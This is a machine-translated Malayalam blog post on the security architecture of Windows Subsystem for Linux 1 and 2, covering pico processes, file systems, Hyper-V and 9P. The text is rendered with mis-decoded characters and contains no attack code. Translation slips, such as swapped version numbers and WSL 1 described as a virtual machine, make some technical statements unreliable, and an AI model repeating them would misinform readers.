WSL เดชเดฐเต€เด•เตเดทเดฃเด™เตเด™เตพ. เดญเดพเด—เด‚ 1

เดนเดฒเต‹, เดนเดพเดฌเตผ! เด’เด•เตเดŸเต‹เดฌเดฑเดฟเตฝ OTUS เด’เดฐเต เดชเตเดคเดฟเดฏ เด•เต‹เดดเตโ€Œเดธเต เดธเตเดŸเตเดฐเต€เด‚ เดธเดฎเดพเดฐเด‚เดญเดฟเด•เตเด•เตเดจเตเดจเต "เดฒเดฟเดจเด•เตเดธเต เดธเตเดฐเด•เตเดท". เด•เต‹เดดเตโ€Œเดธเดฟเดจเตเดฑเต† เด†เดฐเด‚เดญเด‚ เดชเตเดฐเดคเต€เด•เตเดทเดฟเดšเตเดšเต, เดžเด™เตเด™เดณเตเดŸเต† เด…เดงเตเดฏเดพเดชเด•เดฐเดฟเตฝ เด’เดฐเดพเดณเดพเดฏ เด…เดฒเด•เตโ€ŒเดธเดพเดฃเตเดŸเตผ เด•เต‹เตพเดธเตโ€Œเดจเดฟเด•เตเด•เต‹เดตเต เดŽเดดเตเดคเดฟเดฏ เด’เดฐเต เดฒเต‡เด–เดจเด‚ เดžเด™เตเด™เตพ เดจเดฟเด™เตเด™เดณเตเดฎเดพเดฏเดฟ เดชเด™เตเด•เดฟเดŸเตเดจเตเดจเต.

WSL เดชเดฐเต€เด•เตเดทเดฃเด™เตเด™เตพ. เดญเดพเด—เด‚ 1

2016 เตฝ, เดฎเตˆเด•เตเดฐเต‹เดธเต‹เดซเตเดฑเตเดฑเต เดชเตเดคเดฟเดฏ WSL เดธเดพเด™เตเด•เต‡เดคเดฟเด•เดตเดฟเดฆเตเดฏ เดเดŸเดฟ เด•เดฎเตเดฎเตเดฏเต‚เดฃเดฟเดฑเตเดฑเดฟเด•เตเด•เต เด…เดตเดคเดฐเดฟเดชเตเดชเดฟเดšเตเดšเต (Windows Sเดตเต‡เดฃเตเดŸเดฟเดฏเตเดณเตเดณ ubsystem Linux), เด‡เดคเต เดญเดพเดตเดฟเดฏเดฟเตฝ เดธเดพเดงเดพเดฐเดฃเดตเตเด‚ เดจเต‚เดคเดจเดตเตเดฎเดพเดฏ OS เด‰เดชเดฏเต‹เด•เตเดคเดพเด•เตเด•เตพเด•เตเด•เดฟเดŸเดฏเดฟเตฝ เดœเดจเดชเตเดฐเต€เดคเดฟเด•เตเด•เดพเดฏเดฟ เดชเต‹เดฐเดพเดŸเตเดจเตเดจ เดฎเตเดฎเตเดชเต เดชเตŠเดฐเตเดคเตเดคเดชเตเดชเต†เดŸเตเดคเตเดคเดพเดจเดพเดตเดพเดคเตเดค เดŽเดคเดฟเดฐเดพเดณเดฟเด•เดณเต† เด’เดจเตเดจเดฟเดชเตเดชเดฟเด•เตเด•เดพเตป เดธเดพเดงเตเดฏเดฎเดพเด•เตเด•เดฟ: เดตเดฟเตปเดกเต‹เดธเต, เดฒเดฟเดจเด•เตเดธเต. เดˆ เดธเดพเด™เตเด•เต‡เดคเดฟเด•เดตเดฟเดฆเตเดฏ เดฒเดฟเดจเด•เตเดธเต เดชเตเดฐเดตเตผเดคเตเดคเดฟเดชเตเดชเดฟเด•เตเด•เต‡เดฃเตเดŸ เด†เดตเดถเตเดฏเดฎเดฟเดฒเตเดฒเดพเดคเต† เด’เดฐเต เดตเดฟเตปเดกเต‹เดธเต เดชเดฐเดฟเดคเดธเตเดฅเดฟเดคเดฟเดฏเดฟเตฝ Linux OS เดŸเต‚เดณเตเด•เตพ เด‰เดชเดฏเต‹เด—เดฟเด•เตเด•เตเดจเตเดจเดคเต เดธเดพเดงเตเดฏเดฎเดพเด•เตเด•เดฟ, เด‰เดฆเดพเดนเดฐเดฃเดคเตเดคเดฟเดจเต, เดฎเตพเดŸเตเดŸเดฟ-เดฌเต‚เดŸเตเดŸเต เด‰เดชเดฏเต‹เด—เดฟเดšเตเดšเต. WSL เด‰เดชเดฏเต‹เด—เดฟเด•เตเด•เตเดจเตเดจเดคเดฟเดจเตเดฑเต† เดชเตเดฐเดฏเต‹เดœเดจเด™เตเด™เตพ เดตเดฟเดตเดฐเดฟเด•เตเด•เตเดจเตเดจ เดงเดพเดฐเดพเดณเด‚ เดฒเต‡เด–เดจเด™เตเด™เตพ Habr-เตฝ เดจเดฟเด™เตเด™เตพเด•เตเด•เต เด•เดฃเตเดŸเต†เดคเตเดคเดพเดจเดพเด•เตเด‚. เดŽเดจเตเดจเดฟเดฐเตเดจเตเดจเดพเดฒเตเด‚, เดจเดฟเตผเดญเดพเด—เตเดฏเดตเดถเดพเตฝ, เดˆ เดฒเต‡เด–เดจเด‚ เดธเตƒเดทเตเดŸเดฟเด•เตเด•เตเดจเตเดจ เดธเดฎเดฏเดคเตเดคเต, เดˆ เด‰เดฑเดตเดฟเดŸเดคเตเดคเดฟเตฝ เด“เดชเตเดชเดฑเต‡เดฑเตเดฑเดฟเด‚เด—เต เดธเดฟเดธเตเดฑเตเดฑเด™เตเด™เดณเตเดŸเต† เด…เดคเตเดคเดฐเดฎเตŠเดฐเต เดธเดนเดตเตผเดคเตเดคเดฟเดคเตเดตเดคเตเดคเดฟเดจเตเดฑเต† เดธเตเดฐเด•เตเดทเดฏเต†เด•เตเด•เตเดฑเดฟเดšเตเดšเตเดณเตเดณ เดชเด เดจเด™เตเด™เดณเตŠเดจเตเดจเตเด‚ เด•เดฃเตเดŸเต†เดคเตเดคเดฟเดฏเดฟเดฒเตเดฒ. เด‡เดคเต เดคเดฟเดฐเตเดคเตเดคเดพเดจเตเดณเตเดณ เด’เดฐเต เดถเตเดฐเดฎเดฎเดพเดฏเดฟเดฐเดฟเด•เตเด•เตเด‚ เดˆ เดชเต‹เดธเตเดฑเตเดฑเต. เดฒเต‡เด–เดจเด‚ เดกเดฌเตเดฒเตเดฏเตเดŽเดธเตเดŽเตฝ 1, 2 เด†เตผเด•เตเด•เดฟเดŸเต†เด•เตเดšเดฑเตเด•เดณเตเดŸเต† เดธเดตเดฟเดถเต‡เดทเดคเด•เดณเต†เด•เตเด•เตเดฑเดฟเดšเตเดšเต เดธเด‚เดธเดพเดฐเดฟเด•เตเด•เตเด•เดฏเตเด‚ เดˆ เดธเดพเด™เตเด•เต‡เดคเดฟเด•เดตเดฟเดฆเตเดฏเด•เตพ เด‰เดชเดฏเต‹เด—เดฟเดšเตเดšเต เดธเดฟเดธเตเดฑเตเดฑเด™เตเด™เตพเด•เตเด•เต†เดคเดฟเดฐเดพเดฏ เด†เด•เตเดฐเดฎเดฃเด™เตเด™เดณเตเดŸเต† เดจเดฟเดฐเดตเดงเดฟ เด‰เดฆเดพเดนเดฐเดฃเด™เตเด™เตพ เดชเดฐเดฟเดถเต‹เดงเดฟเด•เตเด•เตเด•เดฏเตเด‚ เดšเต†เดฏเตเดฏเตเด‚. เดฒเต‡เด–เดจเด‚ 2 เดญเดพเด—เด™เตเด™เดณเดพเดฏเดฟ เดคเดฟเดฐเดฟเดšเตเดšเดฟเดฐเดฟเด•เตเด•เตเดจเตเดจเต. เด†เดฆเตเดฏเดคเตเดคเต‡เดคเต เดฒเดฟเดจเด•เตเดธเดฟเตฝ เดจเดฟเดจเตเดจเตเด‚ เดตเดฟเตปเดกเต‹เดธเดฟเตฝ เดจเดฟเดจเตเดจเตเดฎเตเดณเตเดณ เดชเตเดฐเดงเดพเดจ เดธเตˆเดฆเตเดงเดพเดจเตเดคเดฟเด• เด†เด•เตเดฐเดฎเดฃ เดฐเต€เดคเดฟเด•เตพ เดจเตฝเด•เตเด‚. เดฐเดฃเตเดŸเดพเดฎเดคเตเดคเต† เดฒเต‡เด–เดจเดคเตเดคเดฟเตฝ เด’เดฐเต เดชเดฐเต€เด•เตเดทเดฃ เด…เดจเตเดคเดฐเต€เด•เตเดทเด‚ เดธเดœเตเดœเต€เด•เดฐเดฟเด•เตเด•เตเดจเตเดจเดคเตเด‚ เด†เด•เตเดฐเดฎเดฃเด™เตเด™เตพ เดชเตเดจเตผเดจเดฟเตผเดฎเตเดฎเดฟเด•เตเด•เตเดจเตเดจเดคเตเด‚ เด‰เตพเดชเตเดชเต†เดŸเตเดจเตเดจเต.

WSL 1: เดตเดพเดธเตเดคเตเดตเดฟเดฆเตเดฏเดพ เดธเดตเดฟเดถเต‡เดทเดคเด•เตพ

เดกเดฌเตเดฒเตเดฏเตเดŽเดธเตเดŽเตฝ เดธเตเดฐเด•เตเดทเดพ เดชเตเดฐเดถเตเดจเด™เตเด™เดณเดฟเดฒเต‡เด•เตเด•เต เดเดฑเตเดฑเดตเตเด‚ เด•เตƒเดคเตเดฏเดฎเดพเดฏ เดกเตˆเดตเดฟเด‚เด—เดฟเดจเดพเดฏเดฟ, เดธเดฌเตเดธเดฟเดธเตเดฑเตเดฑเด‚ เดจเดŸเดชเตเดชเดฟเดฒเดพเด•เตเด•เตเดจเตเดจเดคเตเดฎเดพเดฏเดฟ เดฌเดจเตเดงเดชเตเดชเต†เดŸเตเดŸ เดชเตเดฐเดงเดพเดจ เดธเต‚เด•เตเดทเตเดฎเดคเด•เตพ เดจเดฟเตผเดฃเตเดฃเดฏเดฟเด•เตเด•เต‡เดฃเตเดŸเดคเต เด†เดตเดถเตเดฏเดฎเดพเดฃเต. WSL เดชเดฐเดฟเดนเดฐเดฟเดšเตเดš เดชเตเดฐเดงเดพเดจ เด‰เดชเดฏเต‹เด•เตเดคเตƒ เดœเต‹เดฒเดฟเด•เดณเดฟเดฒเตŠเดจเตเดจเต Windows OS เดชเตเดฐเดตเตผเดคเตเดคเดฟเด•เตเด•เตเดจเตเดจ เด’เดฐเต เดนเต‹เดธเตเดฑเตเดฑเดฟเตฝ เด’เดฐเต เดฒเดฟเดจเด•เตเดธเต เดŸเต†เตผเดฎเดฟเดจเดฒเดฟเดฒเต‚เดŸเต† เดชเตเดฐเดตเตผเดคเตเดคเดฟเด•เตเด•เดพเดจเตเดณเตเดณ เด•เดดเดฟเดตเดพเดฃเต. เด•เต‚เดŸเดพเดคเต†, เดฒเดฟเดจเด•เตเดธเต เดŽเด•เตเดธเดฟเด•เตเดฏเต‚เดŸเตเดŸเดฌเดฟเดณเตเด•เตพ (ELFs) เด’เดฐเต เดตเดฟเตปเดกเต‹เดธเต เดธเดฟเดธเตเดฑเตเดฑเดคเตเดคเดฟเตฝ เดจเต‡เดฐเดฟเดŸเตเดŸเต เดชเตเดฐเดตเตผเดคเตเดคเดฟเดชเตเดชเดฟเด•เตเด•เดพเตป เด•เดดเดฟเดฏเตเดจเตเดจ เดคเดฐเดคเตเดคเดฟเตฝ เดตเดณเดฐเต† เดจเต‡เดฑเตเดฑเต€เดตเต เด†เดฏเดฟเดฐเตเดจเตเดจเต เดตเดพเด—เตเดฆเดพเดจเด‚ เดšเต†เดฏเตเดค เด…เดจเตเดฏเต‹เดœเตเดฏเดค. เดˆ เดฒเด•เตเดทเตเดฏเด™เตเด™เตพ เด•เตˆเดตเดฐเดฟเด•เตเด•เตเดจเตเดจเดคเดฟเดจเต, Windows 10-เตฝ เด’เดฐเต เดชเตเดฐเดคเตเดฏเต‡เด• เดธเดฌเตเดธเดฟเดธเตเดฑเตเดฑเด‚ เดธเตƒเดทเตเดŸเดฟเดšเตเดšเต, เด…เดคเต เด’เดฐเต เด•เต‚เดŸเตเดŸเด‚ เดจเดฟเตผเดฆเตเดฆเดฟเดทเตเดŸ เดธเดฟเดธเตเดฑเตเดฑเด‚ เด•เต‹เดณเตเด•เตพ เด‰เดชเดฏเต‹เด—เดฟเดšเตเดšเต เดฒเดฟเดจเด•เตเดธเต เด†เดชเตเดฒเดฟเด•เตเด•เต‡เดทเดจเตเด•เตพ เดชเตเดฐเดตเตผเดคเตเดคเดฟเดชเตเดชเดฟเด•เตเด•เดพเตป เดจเดฟเด™เตเด™เดณเต† เด…เดจเตเดตเดฆเดฟเด•เตเด•เตเดจเตเดจเต - เด…เด™เตเด™เดจเต†, เดตเดฟเตปเดกเต‹เดธเดฟเตฝ เด’เดฐเต เด•เต‚เดŸเตเดŸเด‚ เดฒเดฟเดจเด•เตเดธเต เดธเดฟเดธเตโ€Œเด•เดพเดณเตเด•เตพ เดฎเดพเดชเตเดชเต เดšเต†เดฏเตเดฏเดพเตป เดถเตเดฐเดฎเดฟเดšเตเดšเต. เดชเตเดคเดฟเดฏ เดกเตเดฐเตˆเดตเดฑเตเด•เดณเตเด‚ เด’เดฐเต เดชเตเดคเดฟเดฏ เดชเตเดฐเต‹เดธเดธเต เดซเต‹เตผเดฎเดพเดฑเตเดฑเตเด‚ เดšเต‡เตผเดคเตเดคเดพเดฃเต เด‡เดคเต เดญเต—เดคเดฟเด•เดฎเดพเดฏเดฟ เดจเดŸเดชเตเดชเดฟเดฒเดพเด•เตเด•เดฟเดฏเดคเต. เด•เดพเดดเตเดšเดฏเดฟเตฝ เดตเดพเดธเตเดคเตเดตเดฟเดฆเตเดฏ เด‡เดคเตเดชเต‹เดฒเต† เด•เดพเดฃเดชเตเดชเต†เดŸเตเดจเตเดจเต:

WSL เดชเดฐเต€เด•เตเดทเดฃเด™เตเด™เตพ. เดญเดพเด—เด‚ 1

เดตเดพเดธเตเดคเดตเดคเตเดคเดฟเตฝ, เดฒเดฟเดจเด•เตเดธเต เด“เดชเตเดชเดฑเต‡เดฑเตเดฑเดฟเด‚เด—เต เดธเดฟเดธเตเดฑเตเดฑเดตเตเดฎเดพเดฏเตเดณเตเดณ เด‡เดŸเดชเต†เดŸเตฝ เดจเดฟเดฐเดตเดงเดฟ เด•เต‡เตผเดฃเตฝ เดฎเตŠเดกเตเดฏเต‚เดณเตเด•เตพ เดตเดดเดฟเดฏเตเด‚ เด’เดฐเต เดชเตเดฐเดคเตเดฏเต‡เด• เดคเดฐเด‚ เดชเตเดฐเต‹เดธเดธเตเดธเต เดตเดดเดฟเดฏเตเด‚ เดธเด‚เด˜เดŸเดฟเดชเตเดชเดฟเดšเตเดšเต - เดชเดฟเด•เตเด•เต‹. เดฎเตเด•เดณเดฟเดฒเตเดณเตเดณ เดกเดฏเด—เตเดฐเดพเดฎเดฟเตฝ เดจเดฟเดจเตเดจเต, เดนเต‹เดธเตเดฑเตเดฑเดฟเดฒเต† เดฒเดฟเดจเด•เตเดธเต เด‡เตปเดธเตเดฑเตเดฑเตปเดธเดฟเตฝ เดชเตเดฐเดตเตผเดคเตเดคเดฟเด•เตเด•เตเดจเตเดจ เดชเตเดฐเด•เตเดฐเดฟเดฏ เดจเต‡เดฑเตเดฑเต€เดตเต เด†เดฏเดฟเดฐเดฟเด•เตเด•เดฃเด‚ เด•เต‚เดŸเดพเดคเต† เดธเดพเดงเดพเดฐเดฃ เดตเดฟเตปเดกเต‹เดธเต เด†เดชเตเดฒเดฟเด•เตเด•เต‡เดทเดจเตเด•เดณเตเดŸเต† เด…เดคเต‡ เด‰เดฑเดตเดฟเดŸเด™เตเด™เตพ เด‰เดชเดฏเต‹เด—เดฟเด•เตเด•เต‡เดฃเตเดŸเดคเตเด‚ เดจเดฟเด™เตเด™เตพเด•เตเด•เต เด•เดพเดฃเดพเตป เด•เดดเดฟเดฏเตเด‚. เดŽเดจเตเดจเดพเตฝ เด‡เดคเต เดŽเด™เตเด™เดจเต† เดจเต‡เดŸเดพเด‚? เดชเดฆเตเดงเดคเดฟเดฏเดฟเตฝ เดกเตเดฐเต‹เดฌเตเดฐเดฟเดกเตเดœเต เดฎเดฑเตเดฑเตŠเดฐเต OS-เดจเตเดฑเต† เด†เดชเตเดฒเดฟเด•เตเด•เต‡เดทเตป เดชเตเดฐเดตเตผเดคเตเดคเดฟเดชเตเดชเดฟเด•เตเด•เตเดจเตเดจเดคเดฟเดจเต เด“เดชเตเดชเดฑเต‡เดฑเตเดฑเดฟเด‚เด—เต เดธเดฟเดธเตเดฑเตเดฑเดคเตเดคเดฟเดจเตเดฑเต† (เด…เดคเดฟเดจเตเดฑเต† เดชเดคเดฟเดชเตเดชเดฟเดจเต† เด†เดถเตเดฐเดฏเดฟเดšเตเดšเต) เด†เดตเดถเตเดฏเดฎเดพเดฏ เดŽเดฒเตเดฒเดพ เด˜เดŸเด•เด™เตเด™เดณเตเด‚ เดจเตฝเด•เตเดจเตเดจ Windows-เดจเตเดณเตเดณ เดชเตเดฐเต‹เดธเดธเตเดธเต เด†เดถเดฏเด™เตเด™เตพ เดตเดฟเด•เดธเดฟเดชเตเดชเดฟเดšเตเดšเต†เดŸเตเดคเตเดคเต.

เดฎเดฑเตเดฑเตŠเดฐเต OS-เดจเตเดฑเต† เดชเตเดฐเด•เตเดฐเดฟเดฏ เด†เดฐเด‚เดญเดฟเด•เตเด•เตเดฎเต†เดจเตเดจเต เดชเตเดฐเดคเต€เด•เตเดทเดฟเด•เตเด•เตเดจเตเดจ เด“เดชเตเดชเดฑเต‡เดฑเตเดฑเดฟเด‚เด—เต เดธเดฟเดธเตเดฑเตเดฑเดคเตเดคเดฟเตฝ (เดชเตเดฐเดคเตเดฏเต‡เด•เดฟเดšเตเดšเต, เดตเดฟเตปเดกเต‹เดธเต) เดซเต‹เด•เตเด•เดธเต เดšเต†เดฏเตเดฏเดพเดคเดฟเดฐเดฟเด•เตเด•เดพเตป เดจเดฟเตผเดฆเตเดฆเดฟเดทเตเดŸ เด…เดฎเต‚เตผเดคเตเดคเต€เด•เดฐเดฃเด‚ เดธเดพเดงเตเดฏเดฎเดพเด•เตเด•เดฟ, เด’เดฐเต เดชเตŠเดคเต เดธเดฎเต€เดชเดจเด‚ เดจเดฟเตผเดฆเตเดฆเต‡เดถเดฟเดšเตเดšเต.

เด…เดคเดฟเดจเดพเตฝ, เดตเดฟเตปเดกเต‹เดธเต เด•เต‡เตผเดฃเตฝ เดชเดฐเดฟเด—เดฃเดฟเด•เตเด•เดพเดคเต† เดชเดฟเด•เตเด•เต‹ เดชเตเดฐเต‹เดธเดธเตเดธเดฟเดจเตเดณเตเดณเดฟเดฒเต† เดเดคเต เด†เดชเตเดฒเดฟเด•เตเด•เต‡เดทเดจเตเด‚ เดชเตเดฐเดตเตผเดคเตเดคเดฟเด•เตเด•เดพเด‚:

  1. เดธเดฟเดธเตเดฑเตเดฑเด‚ เด•เต‹เดณเตเด•เดณเตเดŸเต† เด…เดจเตเดฏเต‹เดœเตเดฏเดคเดฏเตเดŸเต†เดฏเตเด‚ เดตเดฟเดตเตผเดคเตเดคเดจเดคเตเดคเดฟเดจเตเดฑเต†เดฏเตเด‚ เดชเตเดฐเดถเตเดจเด™เตเด™เตพ เดชเตเดฐเดคเตเดฏเต‡เด• เดฆเดพเดคเดพเด•เตเด•เตพ เดชเดฐเดฟเดนเดฐเดฟเด•เตเด•เดฃเด‚;
  2. เดธเต†เด•เตเดฏเต‚เดฐเดฟเดฑเตเดฑเดฟ เดฎเต‹เดฃเดฟเดฑเตเดฑเตผ เดตเดดเดฟเดฏเดพเดฃเต เดชเตเดฐเดตเต‡เดถเดจ เดจเดฟเดฏเดจเตเดคเตเดฐเดฃเด‚ เดจเดŸเดคเตเดคเต‡เดฃเตเดŸเดคเต. เดฎเต‹เดฃเดฟเดฑเตเดฑเตผ เด•เต‡เตผเดฃเดฒเดฟเดฒเดพเดฃเต เดธเตเดฅเดฟเดคเดฟเดšเต†เดฏเตเดฏเตเดจเตเดจเดคเต, เด…เดคเดฟเดจเดพเตฝ เด…เดคเตเดคเดฐเด‚ เดชเตเดฐเด•เตเดฐเดฟเดฏเด•เตพเด•เตเด•เดพเดฏเดฟ เด’เดฐเต เดฆเดพเดคเดพเดตเดพเดฏเดฟ เดชเตเดฐเดตเตผเดคเตเดคเดฟเด•เตเด•เดพเตป เด•เดดเดฟเดฏเตเดจเตเดจ เด’เดฐเต เดชเตเดคเดฟเดฏ เดกเตเดฐเตˆเดตเดฑเดฟเดจเตเดฑเต† เดฐเต‚เดชเดคเตเดคเดฟเตฝ เดตเดฟเตปเดกเต‹เดธเดฟเดจเต เด’เดฐเต เดจเดตเต€เด•เดฐเดฃเด‚ เด†เดตเดถเตเดฏเดฎเดพเดฃเต. เดชเตเดฐเต‹เดŸเตเดŸเต‹เดŸเตˆเดชเตเดชเต เดชเดฟเด•เตเด•เต‹ เดชเตเดฐเต‹เดธเดธเต เดธเตเด•เต€เดฎเดพเดฑเตเดฑเดฟเด•เตเด•เดพเดฏเดฟ เดคเดพเดดเต† เด…เดตเดคเดฐเดฟเดชเตเดชเดฟเดšเตเดšเดฟเดฐเดฟเด•เตเด•เตเดจเตเดจเต:

WSL เดชเดฐเต€เด•เตเดทเดฃเด™เตเด™เตพ. เดญเดพเด—เด‚ 1

Linux เดซเดฏเตฝ เดธเดฟเดธเตเดฑเตเดฑเด‚ เด•เต‡เดธเต-เดธเต†เตปเดธเดฟเดฑเตเดฑเต€เดตเต เดซเดฏเดฒเตเด•เดณเตเด‚ เดกเดฏเดฑเด•เตเดŸเดฑเดฟ เดจเดพเดฎเด™เตเด™เดณเตเด‚ เด‰เดชเดฏเต‹เด—เดฟเด•เตเด•เตเดจเตเดจเดคเดฟเดจเดพเตฝ, WSL - VolFS, DriveFS เดŽเดจเตเดจเดฟเดตเดฏเดฟเตฝ เดชเตเดฐเดตเตผเดคเตเดคเดฟเด•เตเด•เดพเตป 2 เดคเดฐเด‚ เดซเดฏเตฝ เดธเดฟเดธเตเดฑเตเดฑเด™เตเด™เตพ เดตเดฟเตปเดกเต‹เดธเดฟเดฒเต‡เด•เตเด•เต เดšเต‡เตผเดคเตเดคเต. เดฒเดฟเดจเด•เตเดธเต เดซเดฏเตฝ เดธเดฟเดธเตเดฑเตเดฑเดคเตเดคเดฟเดจเตเดฑเต† เด’เดฐเต เดจเดฟเตผเดตเตเดตเดนเดฃเดฎเดพเดฃเต เดตเต‹เตพเดŽเดซเตเดŽเดธเต, เดตเดฟเตปเดกเต‹เดธเต เดจเดฟเดฏเดฎเด™เตเด™เตพเด•เตเด•เดจเตเดธเตƒเดคเดฎเดพเดฏเดฟ เดชเตเดฐเดตเตผเดคเตเดคเดฟเด•เตเด•เตเดจเตเดจ เด’เดฐเต เดซเดฏเตฝ เดธเดฟเดธเตเดฑเตเดฑเดฎเดพเดฃเต เดกเตเดฐเตˆเดตเตเดŽเดซเตเดŽเดธเต, เดŽเดจเตเดจเดพเตฝ เด•เต‡เดธเต เดธเต†เตปเดธเดฟเดฑเตเดฑเดฟเดตเดฟเดฑเตเดฑเดฟ เดคเดฟเดฐเดžเตเดžเต†เดŸเตเด•เตเด•เดพเดจเตเดณเตเดณ เด•เดดเดฟเดตเตเดฃเตเดŸเต.

WSL 2

เดกเดฌเตเดฒเตเดฏเตเดŽเดธเตเดŽเตฝ 1 เดจเต เดจเดฟเดฐเดตเดงเดฟ เดชเดฐเดฟเดฎเดฟเดคเดฟเด•เตพ เด‰เดฃเตเดŸเดพเดฏเดฟเดฐเตเดจเตเดจเต, เด…เดคเต เดชเดฐเดฎเดพเดตเดงเดฟ เดŸเดพเดธเตโ€Œเด•เตเด•เตเด•เตพ เดชเดฐเดฟเดนเดฐเดฟเด•เตเด•เตเดจเตเดจเดคเดฟเดจเต เด…เดคเต เด‰เดชเดฏเต‹เด—เดฟเด•เตเด•เดพเตป เด…เดจเตเดตเดฆเดฟเด•เตเด•เตเดจเตเดจเดฟเดฒเตเดฒ: เด‰เดฆเดพเดนเดฐเดฃเดคเตเดคเดฟเดจเต, เด‡เดคเดฟเดจเต 32-เดฌเดฟเดฑเตเดฑเต เดฒเดฟเดจเด•เตเดธเต เด†เดชเตเดฒเดฟเด•เตเด•เต‡เดทเดจเตเด•เตพ เดชเตเดฐเดตเตผเดคเตเดคเดฟเดชเตเดชเดฟเด•เตเด•เดพเดจเตเดณเตเดณ เด•เดดเดฟเดตเดฟเดฒเตเดฒเดพเดฏเดฟเดฐเตเดจเตเดจเต, เด•เต‚เดŸเดพเดคเต† เด‰เดชเด•เดฐเดฃ เดกเตเดฐเตˆเดตเดฑเตเด•เตพ เด‰เดชเดฏเต‹เด—เดฟเด•เตเด•เตเดจเตเดจเดคเต เด…เดธเดพเดงเตเดฏเดฎเดพเดฏเดฟเดฐเตเดจเตเดจเต. เด…เดคเดฟเดจเดพเตฝ, 2020 เตฝ, WSL 2 เดชเตเดฑเดคเตเดคเดฟเดฑเด™เตเด™เดฟ, เด‡เดคเต เดธเดฌเตเดธเดฟเดธเตเดฑเตเดฑเด‚ เดจเดฟเตผเดฎเตเดฎเดฟเด•เตเด•เตเดจเตเดจเดคเดฟเดจเตเดณเตเดณ เดธเดฎเต€เดชเดจเดคเตเดคเต† เดฎเดพเดฑเตเดฑเดฟ. WSL 2-เดจเตเดฑเต† เดตเดฟเดญเดต เด‰เดชเดญเต‹เด— เดธเดตเดฟเดถเต‡เดทเดคเด•เดณเตเดฎเดพเดฏเดฟ เดชเตŠเดฐเตเดคเตเดคเดชเตเดชเต†เดŸเตเดจเตเดจ เด’เดชเตเดฑเตเดฑเดฟเดฎเตˆเดธเต เดšเต†เดฏเตเดค เดตเต†เตผเดšเตเดตเตฝ เดฎเต†เดทเต€เดจเดพเดฃเต WSL 1. เด‡เดชเตเดชเต‹เตพ, Windows OS เด‰เดชเดฏเต‹เด•เตเดคเดพเดตเต เดชเดฐเดฟเดนเดฐเดฟเด•เตเด•เตเดจเตเดจ เดชเตเดฐเดถเตเดจเด™เตเด™เตพ เด…เดจเตเดธเดฐเดฟเดšเตเดšเต, เดจเดฟเด™เตเด™เตพเด•เตเด•เต Linux เดธเดฌเตเดธเดฟเดธเตเดฑเตเดฑเดคเตเดคเดฟเดจเตเดฑเต† เด†เดตเดถเตเดฏเดฎเดพเดฏ เดชเดคเดฟเดชเตเดชเต เดคเดฟเดฐเดžเตเดžเต†เดŸเตเด•เตเด•เดพเด‚. เดธเดพเดงเตเดฏเดฎเดพเดฏ เด•เต‡เดŸเตเดชเดพเดŸเตเด•เตพ เดฒเด˜เต‚เด•เดฐเดฟเด•เตเด•เตเดจเตเดจเดคเดฟเดจเต, Windows 2-เตฝ เดนเตˆเดชเตเดชเตผ-เดตเดฟ เด…เดŸเดฟเดธเตเดฅเดพเดจเดฎเดพเด•เตเด•เดฟ WSL 10 เดจเดŸเดชเตเดชเดฟเดฒเดพเด•เตเด•เดฟ. เดˆ เดฐเต‚เดชเดคเตเดคเดฟเตฝ, Windows-เดจเต Linux เด“เดชเตเดชเดฑเต‡เดฑเตเดฑเดฟเด‚เด—เต เดธเดฟเดธเตเดฑเตเดฑเด‚ เด•เต‡เตผเดฃเตฝ เด’เดฑเตเดฑเดชเตเดชเต†เดŸเตเดŸเต เดชเตเดฐเดตเตผเดคเตเดคเดฟเดชเตเดชเดฟเด•เตเด•เดพเดจเตเดณเตเดณ เด•เดดเดฟเดตเตเดฃเตเดŸเต. เดˆ เดฎเต‡เด–เดฒเดฏเดฟเดฒเต† เดตเดฟเตปเดกเต‹เดธเต เดตเดฟเด•เดธเดจเดคเตเดคเดฟเดจเตเดฑเต† เดฆเดฟเดถ เด•เดพเดฃเดฟเด•เตเด•เต‡เดฃเตเดŸ เด’เดฐเต เดฌเต€เดฑเตเดฑ เดธเดตเดฟเดถเต‡เดทเดคเดฏเดพเดฏเดพเดฃเต WSL-เดจเตเดฑเต† เดชเดคเดฟเดชเตเดชเต 1 เด…เดตเดคเดฐเดฟเดชเตเดชเดฟเดšเตเดšเดคเต เดŽเดจเตเดจเดคเต เด“เตผเดฎเดฟเด•เตเด•เต‡เดฃเตเดŸเดคเดพเดฃเต, เด…เดคเดฟเดจเดพเตฝ เดนเตˆเดชเตเดชเตผ-เดตเดฟเดฏเดฟเดฒเต‡เด•เตเด•เตเดณเตเดณ เดฎเดพเดฑเตเดฑเด‚ เด…เดจเดฟเดตเดพเดฐเตเดฏเดฎเดพเดฏเดฟเดฐเตเดจเตเดจเต. เด…เดตเดธเดพเดจ เดตเดพเดธเตเดคเตเดตเดฟเดฆเตเดฏ เด‡เดคเตเดชเต‹เดฒเต† เด•เดพเดฃเดชเตเดชเต†เดŸเตเดจเตเดจเต:

WSL เดชเดฐเต€เด•เตเดทเดฃเด™เตเด™เตพ. เดญเดพเด—เด‚ 1

เดˆ เดชเดคเดฟเดชเตเดชเดฟเตฝ, เดตเดฟเตปเดกเต‹เดธเต, เดฒเดฟเดจเด•เตเดธเต เด•เต‡เตผเดฃเดฒเตเด•เตพเด•เตเด•เต เด…เดตเดฐเตเดŸเต‡เดคเดพเดฏ เด‰เดฑเดตเดฟเดŸเด™เตเด™เดณเตเดฃเตเดŸเต, เด•เต‚เดŸเดพเดคเต† เดซเดฏเตฝ เดธเดฟเดธเตเดฑเตเดฑเดคเตเดคเดฟเตฝ เดฎเดพเดคเตเดฐเดฎเต‡ เด•เดตเดฒ เดจเดฟเดฒเดตเดฟเดฒเตเดณเตเดณเต‚, เดŽเดจเตเดจเดพเตฝ เดˆ เด•เดตเดฒ เดชเต‚เตผเดฃเตเดฃเดฎเดฒเตเดฒ. 9P เดชเตเดฐเต‹เดŸเตเดŸเต‹เด•เตเด•เต‹เตพ เด‰เดชเดฏเต‹เด—เดฟเดšเตเดšเต เดชเตเดฐเดตเตผเดคเตเดคเดฟเด•เตเด•เตเดจเตเดจ เด’เดฐเต เด•เตเดฒเดฏเดจเตเดฑเต-เดธเต†เตผเดตเตผ เดฑเดพเดชเตเดชเตผ เดตเดดเดฟเดฏเดพเดฃเต เดซเดฏเตฝ เดธเดฟเดธเตเดฑเตเดฑเด™เตเด™เตพ เดคเดฎเตเดฎเดฟเดฒเตเดณเตเดณ เด‡เดŸเดชเต†เดŸเตฝ เดจเดŸเดคเตเดคเตเดจเตเดจเดคเต.

